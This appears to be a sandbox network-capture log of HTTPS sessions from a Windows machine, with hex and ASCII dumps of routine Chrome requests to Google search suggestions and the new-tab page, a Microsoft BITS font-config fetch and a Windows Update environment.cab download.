2024-11-21 21:33:09 UTC	607	OUT	GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUX Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-21 21:33:10 UTC	1266	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:33:10 GMT Pragma: no-cache Expires: -1 Cache-Control: no-cache, must-revalidate Content-Type: text/javascript; charset=UTF-8 Strict-Transport-Security: max-age=31536000 Content-Security-Policy: object-src 'none';base-uri 'self';script-src 'nonce-_jA9L3QgDuutz1XU0TeYxA' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/cdt1 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/cdt1"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-21 21:33:10 UTC	124	IN	Data Raw: 33 31 34 0d 0a 29 5d 7d 27 0a 5b 22 22 2c 5b 22 6e 65 77 20 79 65 6c 6c 6f 77 73 74 6f 6e 65 20 65 70 69 73 6f 64 65 73 20 73 65 61 73 6f 6e 20 35 22 2c 22 32 30 32 35 20 76 6f 6c 6b 73 77 61 67 65 6e 20 74 69 67 75 61 6e 22 2c 22 6e 65 62 72 61 73 6b 61 20 76 6f 6c 6c 65 79 62 61 6c 6c 20 6d 69 73 73 69 6e 67 20 66 61 6e 22 2c 22 6e 69 61 6e 74 69 63 20 61 69 20 70 6f Data Ascii: 314)]}'["",["new yellowstone episodes season 5","2025 volkswagen tiguan","nebraska volleyball missing fan","niantic ai po
2024-11-21 21:33:10 UTC	671	IN	Data Raw: 6b 65 6d 6f 6e 20 67 6f 22 2c 22 77 65 61 74 68 65 72 20 66 6f 72 65 63 61 73 74 20 73 6e 6f 77 20 73 74 6f 72 6d 22 2c 22 6e 79 74 20 63 6f 6e 6e 65 63 74 69 6f 6e 73 20 68 69 6e 74 73 20 6e 6f 76 65 6d 62 65 72 20 32 31 22 2c 22 73 6f 63 69 61 6c 20 73 65 63 75 72 69 74 79 20 62 65 6e 65 66 69 74 73 22 2c 22 6e 66 6c 20 6d 6f 63 6b 20 64 72 61 66 74 22 5d 2c 5b 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 5d 2c 5b 5d 2c 7b 22 67 6f 6f 67 6c 65 3a 63 6c 69 65 6e 74 64 61 74 61 22 3a 7b 22 62 70 63 22 3a 66 61 6c 73 65 2c 22 74 6c 77 22 3a 66 61 6c 73 65 7d 2c 22 67 6f 6f 67 6c 65 3a 67 72 6f 75 70 73 69 6e 66 6f 22 3a 22 43 68 67 49 6b 6b 34 53 45 77 6f 52 56 48 4a 6c 62 6d 52 70 62 6d 63 67 63 32 56 68 63 6d 4e 6f 5a 58 4d 5c 75 Data Ascii: kemon go","weather forecast snow storm","nyt connections hints november 21","social security benefits","nfl mock draft"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2VhcmNoZXM\u
2024-11-21 21:33:10 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49740	172.217.21.36	443	7828	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:33:10 UTC	510	OUT	GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-21 21:33:10 UTC	1119	IN	HTTP/1.1 200 OK Version: 697903402 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Save-Data Accept-CH: Downlink Accept-CH: ECT Accept-CH: RTT Accept-CH: Device-Memory Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Thu, 21 Nov 2024 21:33:10 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-21 21:33:10 UTC	271	IN	Data Raw: 32 31 35 61 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 6c 61 6e 67 75 61 67 65 5f 63 6f 64 65 22 3a 22 65 6e 2d 55 53 22 2c 22 6f 67 62 22 3a 7b 22 68 74 6d 6c 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 68 74 6d 6c 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 5c 75 30 30 33 63 68 65 61 64 65 72 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 45 61 20 67 62 5f 32 64 20 67 62 5f 51 65 20 67 62 5f 71 64 5c 22 20 69 64 5c 75 30 30 33 64 5c 22 67 62 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 61 6e 6e 65 72 5c 22 20 73 74 79 6c 65 5c 75 30 30 33 64 5c 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 5c 22 5c 75 30 30 33 65 Data Ascii: 215a)]}'{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e
2024-11-21 21:33:10 UTC	1390	IN	Data Raw: 75 30 30 33 64 5c 22 67 62 5f 50 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 6b 64 20 67 62 5f 6f 64 20 67 62 5f 46 64 20 67 62 5f 6c 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 72 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 4a 63 20 67 62 5f 51 5c 22 20 61 72 69 61 2d 65 78 70 61 6e 64 65 64 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 61 72 69 61 2d 6c 61 62 65 6c 5c 75 30 30 33 64 5c 22 4d 61 69 6e 20 6d 65 6e 75 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 75 74 74 6f 6e 5c 22 20 74 61 62 69 6e 64 Data Ascii: u003d\"gb_Pd\"\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_kd gb_od gb_Fd gb_ld\"\u003e\u003cdiv class\u003d\"gb_wd gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabind
2024-11-21 21:33:10 UTC	1390	IN	Data Raw: 72 6f 6c 65 5c 75 30 30 33 64 5c 22 70 72 65 73 65 6e 74 61 74 69 6f 6e 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 73 70 61 6e 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 61 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 38 63 20 67 62 5f 39 63 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 70 61 6e 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 75 64 5c 22 20 61 72 69 61 2d 6c 65 76 65 6c 5c 75 30 30 33 64 5c 22 31 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 68 65 61 64 69 6e 67 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 73 70 61 6e 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 Data Ascii: role\u003d\"presentation\"\u003e\u003c\/span\u003e\u003c\/a\u003e\u003c\/div\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_wd gb_8c gb_9c\"\u003e\u003cspan class\u003d\"gb_ud\" aria-level\u003d\"1\" role\u003d\"heading\"\u003e \u003c\/span\u003e\u003cdi
2024-11-21 21:33:10 UTC	1390	IN	Data Raw: 68 3f 73 6f 75 72 63 65 5c 75 30 30 33 64 6e 74 70 5c 22 20 74 61 72 67 65 74 5c 75 30 30 33 64 5c 22 5f 74 6f 70 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 75 74 74 6f 6e 5c 22 20 74 61 62 69 6e 64 65 78 5c 75 30 30 33 64 5c 22 30 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 73 76 67 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 44 5c 22 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 68 65 69 67 68 74 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 20 76 69 65 77 42 6f 78 5c 75 30 30 33 64 5c 22 30 20 2d 39 36 30 20 39 36 30 20 39 36 30 5c 22 20 77 69 64 74 68 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 30 33 64 5c 22 4d 32 30 39 2d 31 32 30 71 2d 34 32 20 Data Ascii: h?source\u003dntp\" target\u003d\"_top\" role\u003d\"button\" tabindex\u003d\"0\"\u003e \u003csvg class\u003d\"gb_D\" focusable\u003d\"false\" height\u003d\"24px\" viewBox\u003d\"0 -960 960 960\" width\u003d\"24px\"\u003e \u003cpath d\u003d\"M209-120q-42
2024-11-21 21:33:10 UTC	1390	IN	Data Raw: 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 36 2c 31 34 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 32 2c 31 34 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 36 2c 36 63 30 2c 31 2e 31 20 30 2e 39 2c 32 20 32 2c 32 73 32 2c 2d 30 2e 39 20 32 2c 2d 32 20 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 7a 4d 31 32 2c 38 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 Data Ascii: ,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM6,14c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM12,14c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM16,6c0,1.1 0.9,2 2,2s2,-0.9 2,-2 -0.9,-2 -2,-2 -2,0.9 -2,2zM12,8c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0
2024-11-21 21:33:10 UTC	1390	IN	Data Raw: 74 72 6f 6c 2d 6c 61 62 65 6c 30 22 2c 22 6c 65 66 74 5f 70 72 6f 64 75 63 74 5f 63 6f 6e 74 72 6f 6c 2d 6c 61 62 65 6c 31 22 2c 22 6c 65 66 74 5f 70 72 6f 64 75 63 74 5f 63 6f 6e 74 72 6f 6c 2d 6c 61 62 65 6c 32 22 5d 2c 22 6d 65 6e 75 5f 70 6c 61 63 65 68 6f 6c 64 65 72 5f 6c 61 62 65 6c 22 3a 22 6d 65 6e 75 2d 63 6f 6e 74 65 6e 74 22 2c 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 62 61 72 5f 68 65 69 67 68 74 22 3a 36 30 2c 22 65 78 70 65 72 69 6d 65 6e 74 5f 69 64 22 3a 5b 33 37 30 30 32 39 39 2c 33 37 30 31 33 38 34 5d 2c 22 69 73 5f 62 61 63 6b 75 70 5f 62 61 72 22 3a 66 61 6c 73 65 7d 2c 22 70 61 67 65 5f 68 6f 6f 6b 73 22 3a 7b 22 61 66 74 65 72 5f 62 61 72 5f 73 63 72 69 70 74 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 Data Ascii: trol-label0","left_product_control-label1","left_product_control-label2"],"menu_placeholder_label":"menu-content","metadata":{"bar_height":60,"experiment_id":[3700299,3701384],"is_backup_bar":false},"page_hooks":{"after_bar_script":{"private_do_not_access
2024-11-21 21:33:10 UTC	1325	IN	Data Raw: 61 63 68 65 2d 32 2e 30 5c 6e 2a 2f 5c 6e 76 61 72 20 49 64 3b 5f 2e 47 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 63 6f 6e 73 74 20 62 5c 75 30 30 33 64 61 2e 6c 65 6e 67 74 68 3b 69 66 28 62 5c 75 30 30 33 65 30 29 7b 63 6f 6e 73 74 20 63 5c 75 30 30 33 64 41 72 72 61 79 28 62 29 3b 66 6f 72 28 6c 65 74 20 64 5c 75 30 30 33 64 30 3b 64 5c 75 30 30 33 63 62 3b 64 2b 2b 29 63 5b 64 5d 5c 75 30 30 33 64 61 5b 64 5d 3b 72 65 74 75 72 6e 20 63 7d 72 65 74 75 72 6e 5b 5d 7d 3b 49 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 6e 65 77 20 5f 2e 48 64 28 62 5c 75 30 30 33 64 5c 75 30 30 33 65 62 2e 73 75 62 73 74 72 28 30 2c 61 2e 6c 65 6e 67 74 68 2b 31 29 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 5c 75 30 30 33 64 Data Ascii: ache-2.0\n*/\nvar Id;_.Gd\u003dfunction(a){const b\u003da.length;if(b\u003e0){const c\u003dArray(b);for(let d\u003d0;d\u003cb;d++)c[d]\u003da[d];return c}return[]};Id\u003dfunction(a){return new _.Hd(b\u003d\u003eb.substr(0,a.length+1).toLowerCase()\u003d
2024-11-21 21:33:10 UTC	498	IN	Data Raw: 31 65 62 0d 0a 64 28 29 29 3b 72 65 74 75 72 6e 20 54 64 7d 3b 5c 6e 5f 2e 57 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 63 6f 6e 73 74 20 62 5c 75 30 30 33 64 5f 2e 55 64 28 29 3b 72 65 74 75 72 6e 20 6e 65 77 20 5f 2e 56 64 28 62 3f 62 2e 63 72 65 61 74 65 53 63 72 69 70 74 55 52 4c 28 61 29 3a 61 29 7d 3b 5f 2e 58 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 61 20 69 6e 73 74 61 6e 63 65 6f 66 20 5f 2e 56 64 29 72 65 74 75 72 6e 20 61 2e 69 3b 74 68 72 6f 77 20 45 72 72 6f 72 28 5c 22 46 5c 22 29 3b 7d 3b 5f 2e 5a 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 59 64 2e 74 65 73 74 28 61 29 29 72 65 74 75 72 6e 20 61 7d 3b 5f 2e 24 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 61 Data Ascii: 1ebd());return Td};\n_.Wd\u003dfunction(a){const b\u003d_.Ud();return new _.Vd(b?b.createScriptURL(a):a)};_.Xd\u003dfunction(a){if(a instanceof _.Vd)return a.i;throw Error(\"F\");};_.Zd\u003dfunction(a){if(Yd.test(a))return a};_.$d\u003dfunction(a){if(a
2024-11-21 21:33:10 UTC	1390	IN	Data Raw: 38 30 30 30 0d 0a 64 2e 63 61 6c 6c 28 63 2c 60 24 7b 61 7d 5b 6e 6f 6e 63 65 5d 60 29 3b 72 65 74 75 72 6e 20 62 5c 75 30 30 33 64 5c 75 30 30 33 64 6e 75 6c 6c 3f 5c 22 5c 22 3a 62 2e 6e 6f 6e 63 65 7c 7c 62 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 5c 22 6e 6f 6e 63 65 5c 22 29 7c 7c 5c 22 5c 22 7d 3b 5c 6e 5f 2e 62 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 5c 75 30 30 33 64 5f 2e 50 61 28 61 29 3b 72 65 74 75 72 6e 20 62 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 61 72 72 61 79 5c 22 7c 7c 62 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 6f 62 6a 65 63 74 5c 22 5c 75 30 30 32 36 5c 75 30 30 32 36 74 79 70 65 6f 66 20 61 2e 6c 65 6e 67 74 68 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 6e 75 6d 62 65 72 5c 22 7d 3b 5f 2e 63 65 5c Data Ascii: 8000d.call(c,`${a}[nonce]`);return b\u003d\u003dnull?\"\":b.nonce\|\|b.getAttribute(\"nonce\")\|\|\"\"};\n_.be\u003dfunction(a){var b\u003d_.Pa(a);return b\u003d\u003d\"array\"\|\|b\u003d\u003d\"object\"\u0026\u0026typeof a.length\u003d\u003d\"number\"};_.ce\
2024-11-21 21:33:10 UTC	1390	IN	Data Raw: 77 6e 50 72 6f 70 65 72 74 79 28 64 29 3f 61 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 6c 65 5b 64 5d 2c 63 29 3a 5f 2e 67 65 28 64 2c 5c 22 61 72 69 61 2d 5c 22 29 7c 7c 5f 2e 67 65 28 64 2c 5c 22 64 61 74 61 2d 5c 22 29 3f 61 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 64 2c 63 29 3a 61 5b 64 5d 5c 75 30 30 33 64 63 7d 29 7d 3b 6c 65 5c 75 30 30 33 64 7b 63 65 6c 6c 70 61 64 64 69 6e 67 3a 5c 22 63 65 6c 6c 50 61 64 64 69 6e 67 5c 22 2c 63 65 6c 6c 73 70 61 63 69 6e 67 3a 5c 22 63 65 6c 6c 53 70 61 63 69 6e 67 5c 22 2c 63 6f 6c 73 70 61 6e 3a 5c 22 63 6f 6c 53 70 61 6e 5c 22 2c 66 72 61 6d 65 62 6f 72 64 65 72 3a 5c 22 66 72 61 6d 65 42 6f 72 64 65 72 5c 22 2c 68 65 69 67 68 74 3a 5c 22 68 65 69 67 68 74 5c 22 2c 6d 61 78 6c 65 6e 67 74 68 3a 5c 22 6d 61 Data Ascii: wnProperty(d)?a.setAttribute(le[d],c):_.ge(d,\"aria-\")\|\|_.ge(d,\"data-\")?a.setAttribute(d,c):a[d]\u003dc})};le\u003d{cellpadding:\"cellPadding\",cellspacing:\"cellSpacing\",colspan:\"colSpan\",frameborder:\"frameBorder\",height:\"height\",maxlength:\"ma

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49741	172.217.21.36	443	7828	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:33:10 UTC	353	OUT	GET /async/newtab_promos HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-21 21:33:11 UTC	933	IN	HTTP/1.1 200 OK Version: 697903402 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Thu, 21 Nov 2024 21:33:10 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-21 21:33:11 UTC	35	IN	Data Raw: 31 64 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 70 72 6f 6d 6f 73 22 3a 7b 7d 7d 7d 0d 0a Data Ascii: 1d)]}'{"update":{"promos":{}}}
2024-11-21 21:33:11 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49745	23.218.208.109	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:33:13 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-21 21:33:13 UTC	467	IN	HTTP/1.1 200 OK Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF57) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-neu-z1 Cache-Control: public, max-age=155493 Date: Thu, 21 Nov 2024 21:33:13 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49752	23.218.208.109	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:33:15 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-21 21:33:15 UTC	535	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Last-Modified: Tue, 16 May 2017 22:58:00 GMT ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json X-Azure-Ref: 0WwMRYwAAAABe7whxSEuqSJRuLqzPsqCaTE9OMjFFREdFMTcxNQBjZWZjMjU4My1hOWIyLTQ0YTctOTc1NS1iNzZkMTdlMDVmN2Y= Cache-Control: public, max-age=155547 Date: Thu, 21 Nov 2024 21:33:15 GMT Content-Length: 55 Connection: close X-CID: 2
2024-11-21 21:33:15 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49753	52.149.20.212	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:33:18 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=ykRhRcU6axk3H8l&MD=29MnSylP HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-11-21 21:33:20 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: b48c87de-de20-446a-b38f-69b1b00915b9 MS-RequestId: 4b7f8870-1751-4b2d-ab43-a8e66cfac4ae MS-CV: l2htwGHSuEKY2Y3f.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Thu, 21 Nov 2024 21:33:18 GMT Connection: close Content-Length: 24490
2024-11-21 21:33:20 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
